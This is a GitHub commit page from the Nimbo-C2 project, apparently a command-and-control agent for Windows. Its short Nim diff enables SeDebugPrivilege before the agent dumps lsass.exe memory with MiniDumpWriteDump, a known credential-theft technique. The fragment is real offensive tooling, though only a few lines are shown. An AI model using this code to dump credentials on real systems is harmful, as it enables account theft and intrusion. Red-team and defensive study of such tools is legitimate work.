Skip to content

Commit

Permalink
also for lsass direct dumping
Browse files Browse the repository at this point in the history
  • Loading branch information
itaymigdal committed Mar 6, 2023
1 parent 3738231 commit 21ba397
Showing 1 changed file with 4 additions and 0 deletions.
4 changes: 4 additions & 0 deletions Nimbo-C2/agent/windows/utils/misc.nim
Original file line number Diff line number Diff line change
@@ -1,4 +1,5 @@
import helpers
import priv
import winim
import nimprotect

Expand All @@ -15,6 +16,9 @@ proc MiniDumpWriteDump(

proc dump_lsass_minidumpwritedump*(): bool =
var is_success = false
# set debug privileges
if not set_privilege("SeDebugPrivilege"):
return is_success
let pid = get_pid(protectString("lsass.exe"))
if not bool(pid):
return is_success
Expand Down

0 comments on commit 21ba397

Please sign in to comment.